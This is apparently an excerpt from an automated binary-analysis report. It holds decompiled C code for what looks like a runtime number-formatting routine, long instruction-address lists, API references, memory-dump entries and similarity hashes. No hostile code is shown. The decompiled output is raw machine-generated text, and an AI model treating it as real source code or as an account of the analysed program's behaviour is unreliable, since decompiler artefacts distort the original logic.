																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00429820(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00429820(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L158;
																			}
																			goto L154;
																		}
																	case 0xe:
																		while(1) {
																			L178:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L203;
																			}
																			goto L179;
																		}
																}
															case 8:
																L15:
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000002;
																 *(__ebp - 0x10) = __ecx;
																goto L18;
															case 9:
																L16:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																goto L18;
															case 0xa:
																L14:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																goto L18;
															case 0xb:
																L13:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																goto L18;
															case 0xc:
																L17:
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000008;
																__eflags = __eax;
																 *(__ebp - 0x10) = __eax;
																goto L18;
															case 0xd:
																L18:
																goto L205;
														}
													}
													L206:
													 *((intOrPtr*)(_t492 - 0x4c8)) =  *((intOrPtr*)(_t492 - 0x44c));
													E00423760(_t492 - 0x40);
													_t463 =  *((intOrPtr*)(_t492 - 0x4c8));
													goto L207;
												}
											}
											L175:
											__eflags =  *(__ebp - 0x24);
											if( *(__ebp - 0x24) == 0) {
												L177:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												goto L178;
											}
											L176:
											__eax =  *(__ebp - 4);
											__ecx =  *( *(__ebp - 4));
											__eflags = __ecx - 0x30;
											if(__ecx == 0x30) {
												goto L178;
											}
											goto L177;
										}
										L171:
										__eax =  *(__ebp - 8);
										asm("cdq");
										__ecx =  *(__ebp - 0x4a4);
										__edx =  *(__ebp - 0x4a8);
										__eax = E00437DD0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
										 *(__ebp - 0x494) = __eax;
										__eax =  *(__ebp - 8);
										asm("cdq");
										__eax =  *(__ebp - 0x4a4);
										__ecx =  *(__ebp - 0x4a8);
										 *(__ebp - 0x4a8) = E00437D60( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
										 *(__ebp - 0x4a4) = __edx;
										__eflags =  *(__ebp - 0x494) - 0x39;
										if( *(__ebp - 0x494) > 0x39) {
											__edx =  *(__ebp - 0x494);
											__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
											__eflags = __edx;
											 *(__ebp - 0x494) = __edx;
										}
										__eax =  *(__ebp - 4);
										 *( *(__ebp - 4)) =  *(__ebp - 0x494);
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										L169:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L171;
										}
										goto L170;
									}
								}
								L156:
								__eflags =  *(__ebp - 0x4a0);
								if( *(__ebp - 0x4a0) >= 0) {
									goto L158;
								}
								goto L157;
								L158:
								__ecx =  *(__ebp - 0x4a0);
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
								__edx =  *(__ebp - 0x49c);
								 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
								goto L159;
							}
						}
					}
				}
			}

0x00429151
0x00429151
0x00429151
0x00429151
0x00429158
0x00429158
0x00429158
0x0042916e
0x0042916e
0x0042916e
0x00429178
0x00429178
0x0042917e
0x00429180
0x00429185
0x0042918f
0x0042918f
0x00429192
0x00429196
0x00429196
0x004291bd
0x004291bd
0x004291c0
0x004291c0
0x004291c5
0x004291e7
0x004291e7
0x004291ed
0x0042920f
0x0042920f
0x00429212
0x00429259
0x00429259
0x0042925c
0x00429279
0x0042927d
0x00429285
0x00429285
0x00429287
0x0042928d
0x0042925e
0x0042925e
0x00429262
0x0042926a
0x0042926b
0x00429271
0x00429271
0x00429214
0x00429217
0x00429217
0x0042921a
0x00429238
0x00429244
0x00429247
0x00429248
0x0042924e
0x0042921c
0x0042921c
0x00429220
0x00429228
0x00429229
0x0042922a
0x00429230
0x00429230
0x00429254
0x004291ef
0x004291ef
0x004291fb
0x00429201
0x00429201
0x004291c7
0x004291c7
0x004291d3
0x004291d9
0x004291d9
0x00429296
0x00429296
0x00429299
0x00000000
0x00000000
0x0042929b
0x0042929b
0x004292a2
0x00000000
0x00000000
0x004292a4
0x004292a4
0x004292af
0x004292b5
0x004292b7
0x004292bd
0x004292c0
0x004292c2
0x004292c8
0x004292d1
0x004292d6
0x004292f3
0x004292f6
0x004292f6
0x004292fb
0x00429300
0x00429300
0x00429306
0x00429308
0x0042930e
0x00429314
0x00429314
0x0042931d
0x0042931d
0x00429306
0x00429323
0x00429327
0x00429335
0x00429338
0x0042933b
0x00429342
0x00429344
0x00429344
0x00429329
0x00429329
0x00429329
0x00429351
0x00429351
0x00429357
0x00429359
0x00429359
0x00429360
0x00429366
0x00429369
0x00429369
0x00429369
0x0042936f
0x00429372
0x00429375
0x00429377
0x00000000
0x00000000
0x00429379
0x0042937f
0x0042937f
0x00429385
0x00429402
0x00429408
0x0042940b
0x0042940e
0x00429411
0x00429414
0x0042941a
0x0042941a
0x00429420
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00429455
0x00429458
0x00429458
0x0042945b
0x00429460
0x00429460
0x00429465
0x0042947c
0x0042947c
0x0042947f
0x00429496
0x00429496
0x00429499
0x0042949b
0x004294a0
0x004294a4
0x004294a4
0x00429481
0x00429481
0x00429486
0x0042948a
0x0042948a
0x00429467
0x00429467
0x0042946c
0x00429470
0x00429470
0x00429465
0x004294ae
0x004294b1
0x004294b4
0x004294bd
0x004294bd
0x004294c0
0x004294c2
0x004294c9
0x004294cd
0x004294d6
0x004294db
0x004294de
0x004294e5
0x004294e9
0x004294ed
0x004294f9
0x004294fc
0x004294fc
0x004294ff
0x00429504
0x00429504
0x00429507
0x00429509
0x00429510
0x00429514
0x0042951d
0x00429522
0x00429507
0x00429525
0x00429529
0x004295e3
0x004295e3
0x004295ea
0x004295ee
0x004295f2
0x004295f6
0x00000000
0x0042952f
0x0042952f
0x0042952f
0x00429533
0x00000000
0x00000000
0x00429539
0x00429539
0x0042953c
0x00429542
0x00429545
0x0042954b
0x0042954b
0x0042954b
0x00429557
0x0042955a
0x00429560
0x00429562
0x00000000
0x00000000
0x00429564
0x00429564
0x00429567
0x0042956d
0x00429575
0x00429577
0x0042957e
0x00429585
0x00429594
0x0042959a
0x004295a1
0x004295af
0x004295af
0x004295b6
0x004295c2
0x004295d0
0x004295d6
0x00000000
0x004295d6
0x004295a3
0x004295a3
0x00000000
0x004295a3
0x004295e1
0x004295fe
0x004295fe
0x00429605
0x0042960a
0x0042960a
0x0042960d
0x0042960f
0x00429616
0x00429623
0x00429628
0x0042960d
0x00429605
0x0042962b
0x0042962b
0x0042962f
0x00429633
0x00429637
0x0042963f
0x0042963f
0x00429646
0x00429646
0x0042887b
0x0042888f
0x00428894
0x00000000
0x004288a7
0x004288b1
0x004288d8
0x004288bf
0x004288d0
0x004288d0
0x004288b1
0x004288e2
0x004288e8
0x004288fa
0x00428905
0x00428911
0x0042891e
0x00000000
0x00000000
0x00428924
0x0042892a
0x00000000
0x00428931
0x00428931
0x0042894b
0x00428950
0x00000000
0x00000000
0x00428958
0x00428958
0x0042895f
0x00428962
0x00428965
0x00428968
0x0042896b
0x0042896e
0x00428971
0x00428978
0x0042897f
0x00000000
0x00000000
0x0042898b
0x0042898b
0x00428992
0x0042899e
0x004289a1
0x004289a7
0x004289ae
0x00000000
0x00000000
0x004289b0
0x004289b6
0x004289b6
0x004289bd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00428a01
0x00428a01
0x00428a08
0x00428a0b
0x00428a35
0x00428a38
0x00428a38
0x00428a42
0x00428a42
0x00428a46
0x00428a0d
0x00428a0d
0x00428a19
0x00428a1c
0x00428a20
0x00428a22
0x00428a25
0x00428a25
0x00428a28
0x00428a2b
0x00428a2e
0x00428a30
0x00428a30
0x00428a33
0x00428a49
0x00000000
0x00000000
0x00428a4e
0x00428a4e
0x00000000
0x00000000
0x00428a5a
0x00428a5a
0x00428a61
0x00428a64
0x00428a84
0x00428a87
0x00428a87
0x00428a91
0x00428a91
0x00428a95
0x00428a66
0x00428a66
0x00428a72
0x00428a75
0x00428a79
0x00428a7b
0x00428a7b
0x00428a82
0x00428a98
0x00000000
0x00000000
0x00428a9d
0x00428a9d
0x00428aa4
0x00428ab0
0x00428ab3
0x00428ab9
0x00428ac0
0x00428bd3
0x00000000
0x00428bd3
0x00428ac6
0x00428acc
0x00428acc
0x00428ad3
0x00000000
0x00428b0a
0x00428b0a
0x00428b0d
0x00428b10
0x00428b13
0x00428b3a
0x00428b3a
0x00428b3d
0x00428b40
0x00428b43
0x00428b67
0x00428b67
0x00428b6a
0x00428b6d
0x00428b70
0x00428ba9
0x00428bba
0x00000000
0x00428bba
0x00428b72
0x00428b72
0x00428b75
0x00428b78
0x00428b7b
0x00000000
0x00000000
0x00428b7d
0x00428b7d
0x00428b80
0x00428b83
0x00428b86
0x00000000
0x00000000
0x00428b88
0x00428b88
0x00428b8b
0x00428b8e
0x00428b91
0x00000000
0x00000000
0x00428b93
0x00428b93
0x00428b96
0x00428b99
0x00428b9c
0x00000000
0x00000000
0x00428b9e
0x00428b9e
0x00428ba1
0x00428ba4
0x00428ba7
0x00428bab
0x00000000
0x00428bab
0x00000000
0x00428ba7
0x00428b45
0x00428b45
0x00428b48
0x00428b4c
0x00428b4f
0x00000000
0x00428b51
0x00428b54
0x00428b57
0x00428b5d
0x00428b62
0x00000000
0x00428b62
0x00428b4f
0x00428b15
0x00428b15
0x00428b18
0x00428b1c
0x00428b1f
0x00000000
0x00428b21
0x00428b24
0x00428b27
0x00428b2d
0x00428b32
0x00000000
0x00428b32
0x00000000
0x00428bbc
0x00428bbc
0x00428bbf
0x00428bc2
0x00000000
0x00000000
0x00428ada
0x00428ada
0x00428add
0x00428ae0
0x00428ae3
0x00428afc
0x00428aff
0x00428aff
0x00428b02
0x00428ae5
0x00428ae5
0x00428ae8
0x00428aeb
0x00428af1
0x00428af7
0x00428af7
0x00000000
0x00000000
0x00428bc7
0x00428bc7
0x00428bca
0x00428bca
0x00428bd0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00428bd8
0x00428bd8
0x00428bdf
0x00428be5
0x00428beb
0x00428bee
0x00428bf4
0x00428bfb
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x0042944b
0x00428c01
0x00428c07
0x00428c07
0x00428c0e
0x00000000
0x00428f92
0x00428f92
0x00428fa0
0x00428fa0
0x00428fa3
0x00000000
0x00000000
0x00428c15
0x00428c18
0x00428c18
0x00428c1e
0x00428c20
0x00428c23
0x00428c23
0x00428c26
0x00428c26
0x00000000
0x00000000
0x00428d5b
0x00428d5e
0x00428d5e
0x00428d63
0x00428d65
0x00428d68
0x00428d68
0x00428d6b
0x00428d6b
0x00000000
0x00000000
0x00429158
0x00429158
0x00000000
0x00000000
0x00428cc5
0x00428cc5
0x00428cd1
0x00428cd7
0x00428cde
0x00428cec
0x00428cec
0x00428cf2
0x00428cf5
0x00428d01
0x00428d56
0x00000000
0x00428d56
0x00428ce0
0x00428ce0
0x00428ce6
0x00428cea
0x00428d06
0x00428d09
0x00428d09
0x00428d0f
0x00428d37
0x00428d3e
0x00428d44
0x00428d47
0x00428d4a
0x00428d50
0x00428d53
0x00428d11
0x00428d11
0x00428d17
0x00428d1a
0x00428d1d
0x00428d23
0x00428d26
0x00428d29
0x00428d2b
0x00428d2e
0x00428d2e
0x00000000
0x00428d0f
0x00000000
0x00000000
0x00428faa
0x00428fad
0x00428fb0
0x00428fb3
0x00428fb9
0x00428fbc
0x00428fc3
0x00428fc7
0x00428fd2
0x00428fd2
0x00428fd6
0x00428fed
0x00428fed
0x00428ff4
0x00428ff6
0x00428ff6
0x00428ffd
0x00428ffd
0x00429004
0x00429012
0x00429015
0x00429024
0x00429027
0x0042902b
0x00429040
0x0042902d
0x0042902d
0x00429030
0x00429036
0x0042903b
0x0042903b
0x0042902b
0x0042904a
0x0042904d
0x00429050
0x00429053
0x00429056
0x00429059
0x0042905f
0x00429065
0x0042906d
0x0042906e
0x00429071
0x00429072
0x00429075
0x00429076
0x0042907d
0x0042907e
0x00429081
0x00429082
0x00429085
0x00429086
0x0042908c
0x0042908d
0x00429093
0x00429094
0x0042909a
0x0042909c
0x004290a2
0x004290a2
0x004290a7
0x004290a9
0x004290ad
0x004290af
0x004290b2
0x004290b7
0x004290b8
0x004290bb
0x004290bc
0x004290c2
0x004290c3
0x004290c9
0x004290cb
0x004290cb
0x004290ad
0x004290ce
0x004290d5
0x004290d8
0x004290dd
0x004290dd
0x004290e3
0x004290e5
0x004290ed
0x004290ee
0x004290f1
0x004290f2
0x004290f7
0x004290f8
0x004290fe
0x00429100
0x00429100
0x004290e3
0x00429103
0x00429106
0x00429109
0x0042910c
0x00429111
0x00429116
0x00429119
0x0042911c
0x0042911c
0x0042911f
0x0042911f
0x00429122
0x0042912e
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x00000000
0x0042944b
0x00428fd8
0x00428fd8
0x00428fdf
0x00428fe2
0x00000000
0x00000000
0x00428fe4
0x00428fe4
0x00000000
0x00428fe4
0x00428fc9
0x00428fc9
0x00000000
0x00000000
0x00428c29
0x00428c29
0x00428c34
0x00428c3c
0x00428c43
0x00428c46
0x00428c46
0x00428c49
0x00428ca2
0x00428ca9
0x00428c4b
0x00428c52
0x00428c58
0x00428c5e
0x00428c65
0x00428c68
0x00428c6e
0x00428c76
0x00428c78
0x00428c7f
0x00428c86
0x00428c8d
0x00428c95
0x00428c97
0x00428c99
0x00428c99
0x00428ca0
0x00428cb0
0x00428cb6
0x00428cb9
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x00000000
0x00429136
0x00429139
0x0042913c
0x0042913f
0x00000000
0x00000000
0x00428e9b
0x00428e9b
0x00428ea7
0x00428ead
0x00428eb2
0x00428eb4
0x00428f5e
0x00428f5e
0x00428f61
0x00428f61
0x00428f64
0x00428f78
0x00428f7e
0x00428f84
0x00428f66
0x00428f66
0x00428f6c
0x00428f73
0x00428f73
0x00428f86
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x0042944b
0x00428eba
0x00428eba
0x00428eba
0x00428ebc
0x00428eca
0x00428ebe
0x00428ebe
0x00428ebe
0x00428ed4
0x00428eda
0x00428ee0
0x00428ee7
0x00428ee9
0x00428eee
0x00428ef0
0x00428ef5
0x00428efa
0x00428efc
0x00428f01
0x00428f04
0x00428f07
0x00428f09
0x00428f09
0x00428f07
0x00428f0a
0x00428f11
0x00428f59
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x00428f13
0x00428f13
0x00428f18
0x00428f34
0x00428f3c
0x00428f46
0x00428f49
0x00428f4e
0x00429665
0x00429668
0x00429672
0x00429672
0x00000000
0x0042919f
0x0042919f
0x004291a9
0x004291a9
0x004291af
0x004291b1
0x004291b4
0x004291b4
0x004291ba
0x004291ba
0x004291bd
0x004291c0
0x004291c0
0x004291c5
0x004291e7
0x004291e7
0x004291ed
0x0042920f
0x0042920f
0x00429212
0x00429259
0x00429259
0x0042925c
0x00429279
0x0042927d
0x00429285
0x00429285
0x00429287
0x0042928d
0x0042925e
0x0042925e
0x00429262
0x0042926a
0x0042926b
0x00429271
0x00429271
0x00429214
0x00429217
0x00429217
0x0042921a
0x00429238
0x00429244
0x00429247
0x00429248
0x0042924e
0x0042921c
0x0042921c
0x00429220
0x00429228
0x00429229
0x0042922a
0x00429230
0x00429230
0x00429254
0x004291ef
0x004291ef
0x004291fb
0x00429201
0x00429201
0x004291c7
0x004291c7
0x004291d3
0x004291d9
0x004291d9
0x00429296
0x00429296
0x00429299
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00428d6e
0x00428d6e
0x00428d72
0x00428d80
0x00428d83
0x00428d74
0x00428d74
0x00428d74
0x00428d89
0x00428d8f
0x00428d95
0x00428da1
0x00428da7
0x00428da7
0x00428daa
0x00428e32
0x00428e32
0x00428e36
0x00428e38
0x00428e3e
0x00428e3e
0x00428e41
0x00428e48
0x00428e4b
0x00428e51
0x00428e51
0x00428e51
0x00428e57
0x00428e5d
0x00428e60
0x00428e66
0x00428e68
0x00000000
0x00000000
0x00428e6a
0x00428e6a
0x00428e70
0x00428e73
0x00428e75
0x00000000
0x00000000
0x00428e77
0x00428e7d
0x00428e80
0x00428e80
0x00428e88
0x00428e88
0x00428e8e
0x00428e8e
0x00428e93
0x00000000
0x00428db0
0x00428db0
0x00428db0
0x00428db4
0x00428db6
0x00428dbb
0x00428dbb
0x00428dbe
0x00428dc1
0x00428dc7
0x00428dd9
0x00428dd9
0x00428dd9
0x00428ddc
0x00428de2
0x00000000
0x00000000
0x00428de4
0x00428de4
0x00428dea
0x00428ded
0x00428def
0x00000000
0x00000000
0x00428df1
0x00428df1
0x00428dfa
0x00428e00
0x00428e04
0x00428e0c
0x00428e0e
0x00428e10
0x00428e16
0x00428e16
0x00428e19
0x00428e19
0x00428e25
0x00428e28
0x00428dd0
0x00428dd3
0x00428dd3
0x00428dd6
0x00428dd6
0x00428e30
0x00428e96
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x0042944b
0x00000000
0x00429148
0x00429148
0x004291bd
0x004291bd
0x004291c0
0x004291c0
0x004291c5
0x004291e7
0x004291e7
0x004291ed
0x0042920f
0x0042920f
0x00429212
0x00429259
0x00429259
0x0042925c
0x00429279
0x0042927d
0x00429285
0x00429285
0x00429287
0x0042928d
0x0042925e
0x0042925e
0x00429262
0x0042926a
0x0042926b
0x00429271
0x00429271
0x00429214
0x00429217
0x00429217
0x0042921a
0x00429238
0x00429244
0x00429247
0x00429248
0x0042924e
0x0042921c
0x0042921c
0x00429220
0x00429228
0x00429229
0x0042922a
0x00429230
0x00429230
0x00429254
0x004291ef
0x004291ef
0x004291fb
0x00429201
0x00429201
0x004291c7
0x004291c7
0x004291d3
0x004291d9
0x004291d9
0x00429296
0x00429296
0x00429299
0x00000000
0x00000000
0x00000000
0x00429299
0x00000000
0x00429164
0x00429164
0x0042916e
0x0042916e
0x00429178
0x00429178
0x0042917e
0x00429180
0x00429185
0x0042918f
0x0042918f
0x00429192
0x00429196
0x00429196
0x004291bd
0x004291bd
0x004291c0
0x004291c0
0x004291c5
0x004291e7
0x004291e7
0x004291ed
0x0042920f
0x0042920f
0x00429212
0x00429259
0x00429259
0x0042925c
0x00429279
0x0042927d
0x00429285
0x00429285
0x00429287
0x0042928d
0x0042925e
0x0042925e
0x00429262
0x0042926a
0x0042926b
0x00429271
0x00429271
0x00429214
0x00429217
0x00429217
0x0042921a
0x00429238
0x00429244
0x00429247
0x00429248
0x0042924e
0x0042921c
0x0042921c
0x00429220
0x00429228
0x00429229
0x0042922a
0x00429230
0x00429230
0x00429254
0x004291ef
0x004291ef
0x004291fb
0x00429201
0x00429201
0x004291c7
0x004291c7
0x004291d3
0x004291d9
0x004291d9
0x00429296
0x00429296
0x00429299
0x00000000
0x00000000
0x00000000
0x00429299
0x00000000
0x0042944b
0x0042944b
0x0042944b
0x0042944f
0x00000000
0x00000000
0x00000000
0x0042944f
0x00000000
0x00000000
0x004289da
0x004289da
0x004289dd
0x004289e0
0x00000000
0x00000000
0x004289e5
0x004289e8
0x004289ee
0x00000000
0x00000000
0x004289cf
0x004289d2
0x004289d5
0x00000000
0x00000000
0x004289c4
0x004289c7
0x004289ca
0x00000000
0x00000000
0x004289f3
0x004289f3
0x004289f6
0x004289f6
0x004289f9
0x00000000
0x00000000
0x004289fc
0x00000000
0x00000000
0x0042892a
0x0042964b
0x00429651
0x0042965a
0x0042965f
0x00000000
0x0042965f
0x0042944b
0x00429422
0x00429422
0x00429426
0x00429433
0x00429436
0x00429439
0x0042943c
0x0042943f
0x00429442
0x00429445
0x00429445
0x00429448
0x00000000
0x00429448
0x00429428
0x00429428
0x0042942b
0x0042942e
0x00429431
0x00000000
0x00000000
0x00000000
0x00429431
0x00429387
0x00429387
0x0042938a
0x0042938d
0x00429394
0x0042939b
0x004293a3
0x004293a9
0x004293ac
0x004293af
0x004293b6
0x004293c2
0x004293c8
0x004293ce
0x004293d5
0x004293d7
0x004293dd
0x004293dd
0x004293e3
0x004293e3
0x004293e9
0x004293f2
0x004293f7
0x004293fa
0x00429369
0x00429369
0x0042936f
0x00429372
0x00429375
0x00429377
0x00000000
0x00000000
0x00000000
0x00429377
0x00429369
0x004292a6
0x004292a6
0x004292ad
0x00000000
0x00000000
0x00000000
0x004292db
0x004292db
0x004292e1
0x004292e7
0x004292ed
0x00000000
0x004292ed
0x004291bd
0x0042916e
0x00429158

APIs

_get_int64_arg.LIBCMTD ref: 004291CB
__aullrem.LIBCMT ref: 0042939B
__aulldiv.LIBCMT ref: 004293BD

Strings

9, xrefs: 004293CE

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 81f3cc991c07a84783b0f2e5448af7dc1015e0ea7737d423e418aa082d41f37f
Instruction ID: 3f2fe0b49d80c18a140556d8284c69073b29f88358f32a066257abc6d798ef56
Opcode Fuzzy Hash: 81f3cc991c07a84783b0f2e5448af7dc1015e0ea7737d423e418aa082d41f37f
Instruction Fuzzy Hash: 124125B1E0012ADFEB24CF48D881BAEB7B5FF85314F50409AE549AB240C7785E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0042A380, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0042A380() {
				signed int _t483;
				void* _t488;
				signed int _t490;
				void* _t498;
				intOrPtr _t501;
				signed int _t519;
				intOrPtr _t523;
				intOrPtr _t524;
				signed int _t525;
				void* _t527;

				L0:
				while(1) {
					L0:
					 *(_t525 - 0x30) = 8;
					while(1) {
						L143:
						 *(__ebp - 0x460) = 7;
						while(1) {
							L145:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								__edx = 0x30;
								 *(__ebp - 0x14) = __dx;
								 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
								__eflags =  *(__ebp - 0x460) + 0x51;
								 *(__ebp - 0x12) = __ax;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L150:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00429820(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00429820(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00429820(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
												 *(__ebp - 0x49c) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00429820(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x4a0) = __eax;
												 *(__ebp - 0x49c) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
										 *(__ebp - 0x49c) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00429840(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L167;
								}
								L163:
								__eflags =  *(__ebp - 0x49c);
								if(__eflags > 0) {
									goto L167;
								}
								L164:
								if(__eflags < 0) {
									L166:
									 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
									__edx =  *(__ebp - 0x49c);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
									 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L168:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x4a8);
											__eax =  *(__ebp - 0x4a4);
											__eax =  *(__ebp - 0x4a4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x4a4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x249;
									 *(__ebp - 4) = __ebp - 0x249;
									while(1) {
										L178:
										__ecx =  *(__ebp - 0x30);
